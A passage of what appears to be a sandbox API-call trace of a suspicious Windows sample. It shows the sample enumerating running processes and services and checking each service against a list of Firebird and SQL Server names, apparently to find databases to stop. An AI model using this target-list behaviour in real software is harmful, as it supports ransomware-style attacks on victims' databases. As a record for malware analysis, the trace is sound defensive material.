| out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.471] lstrlenW (lpString="svchost.exe") returned 11 [0260.471] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.472] lstrlenW (lpString="svchost.exe") returned 11 [0260.472] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.474] lstrlenW (lpString="svchost.exe") returned 11 [0260.474] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.475] lstrlenW (lpString="svchost.exe") returned 11 [0260.475] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.476] lstrlenW (lpString="svchost.exe") returned 11 [0260.476] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.477] lstrlenW (lpString="svchost.exe") returned 11 [0260.477] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.478] lstrlenW (lpString="svchost.exe") returned 11 [0260.478] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.479] lstrlenW (lpString="svchost.exe") returned 11 [0260.479] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.480] lstrlenW (lpString="svchost.exe") returned 11 [0260.480] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.481] lstrlenW (lpString="svchost.exe") returned 11 [0260.481] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.482] lstrlenW (lpString="spoolsv.exe") returned 11 [0260.482] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.483] lstrlenW (lpString="svchost.exe") returned 11 [0260.489] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.490] lstrlenW (lpString="audiodg.exe") returned 11 [0260.490] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0260.491] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0260.492] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0260.493] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0260.493] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0260.494] lstrlenW (lpString="Memory Compression") returned 18 [0260.494] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.495] lstrlenW (lpString="svchost.exe") returned 11 [0260.495] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0260.496] lstrlenW (lpString="sihost.exe") returned 10 [0260.496] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0260.496] lstrlenW (lpString="MDMAgent.exe") returned 12 [0260.496] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0260.497] lstrlenW (lpString="taskhostw.exe") returned 13 [0260.497] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0260.534] lstrlenW (lpString="msoia.exe") returned 9 [0260.534] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.535] lstrlenW (lpString="explorer.exe") returned 12 [0260.535] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0260.536] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0260.536] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0260.537] lstrlenW (lpString="SearchUI.exe") returned 12 [0260.537] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0260.539] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0260.539] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0260.540] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0260.540] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0260.541] lstrlenW (lpString="chrome64b.exe") returned 13 [0260.541] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0260.543] lstrlenW (lpString="cmd.exe") returned 7 [0260.543] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0260.544] lstrlenW (lpString="conhost.exe") returned 11 [0260.544] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.545] lstrlenW (lpString="svchost.exe") returned 11 [0260.545] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0260.546] lstrlenW (lpString="mode.com") returned 8 [0260.546] Process32NextW (in: hSnapshot=0x4c4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd34, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0260.547] CloseHandle (hObject=0x4c4) returned 1 [0260.547] Sleep (dwMilliseconds=0x1f4) [0261.600] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a1a8 [0261.601] EnumServicesStatusExW (in: hSCManager=0x69a1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0261.601] GetLastError () returned 0xea [0261.601] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c5a) returned 0x45f56c8 [0261.601] EnumServicesStatusExW (in: hSCManager=0x69a1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45f56c8, cbBufSize=0x1c5a, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45f56c8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0261.602] CloseServiceHandle (hSCObject=0x69a1a8) returned 1 [0261.602] lstrlenW (lpString="AppXSvc") returned 7 [0261.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0261.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0261.602] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0261.602] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0261.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0261.602] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0261.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.603] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0261.603] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0261.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0261.603] lstrlenW (lpString="Audiosrv") returned 8 [0261.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0261.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0261.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0261.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0261.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0261.603] lstrlenW (lpString="BFE") returned 3 [0261.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0261.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0261.603] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0261.603] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0261.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0261.603] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0261.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0261.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0261.603] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0261.603] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0261.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0261.603] lstrlenW (lpString="CDPSvc") returned 6 [0261.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0261.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0261.603] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0261.603] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0261.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0261.603] lstrlenW (lpString="ClickToRunSvc") returned 13 [0261.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0261.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0261.603] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0261.604] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0261.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0261.604] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0261.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0261.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0261.604] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0261.604] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0261.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0261.604] lstrlenW (lpString="CryptSvc") returned 8 [0261.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0261.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0261.604] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0261.604] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0261.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0261.604] lstrlenW (lpString="DcomLaunch") returned 10 [0261.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.604] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0261.604] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0261.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0261.604] lstrlenW (lpString="DeviceAssociationService") returned 24 [0261.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0261.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0261.604] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0261.604] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0261.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0261.604] lstrlenW (lpString="Dhcp") returned 4 [0261.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0261.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0261.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0261.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0261.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0261.605] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0261.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0261.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0261.605] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0261.605] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0261.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0261.605] lstrlenW (lpString="Dnscache") returned 8 [0261.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0261.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0261.605] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0261.605] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0261.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0261.605] lstrlenW (lpString="DPS") returned 3 [0261.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0261.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0261.605] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0261.605] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0261.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0261.605] lstrlenW (lpString="DusmSvc") returned 7 [0261.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0261.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0261.605] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0261.605] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0261.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0261.605] lstrlenW (lpString="EventLog") returned 8 [0261.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0261.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0261.605] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0261.605] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0261.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0261.605] lstrlenW (lpString="EventSystem") returned 11 [0261.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0261.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0261.606] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0261.606] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0261.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0261.606] lstrlenW (lpString="FontCache") returned 9 [0261.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0261.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0261.606] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0261.606] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0261.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0261.606] lstrlenW (lpString="gpsvc") returned 5 [0261.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0261.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0261.606] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0261.606] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0261.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0261.606] lstrlenW (lpString="iphlpsvc") returned 8 [0261.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.606] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0261.606] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0261.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0261.606] lstrlenW (lpString="KeyIso") returned 6 [0261.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0261.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0261.606] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0261.606] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0261.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0261.606] lstrlenW (lpString="LanmanServer") returned 12 [0261.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0261.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0261.607] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0261.607] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0261.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0261.607] lstrlenW (lpString="LanmanWorkstation") returned 17 [0261.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.607] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0261.607] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0261.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0261.607] lstrlenW (lpString="lfsvc") returned 5 [0261.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0261.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0261.607] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0261.607] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0261.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0261.607] lstrlenW (lpString="lmhosts") returned 7 [0261.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0261.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0261.607] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0261.607] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0261.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0261.607] lstrlenW (lpString="LSM") returned 3 [0261.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0261.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0261.607] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0261.607] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0261.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0261.607] lstrlenW (lpString="MpsSvc") returned 6 [0261.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0261.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0261.607] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0261.607] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0261.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0261.608] 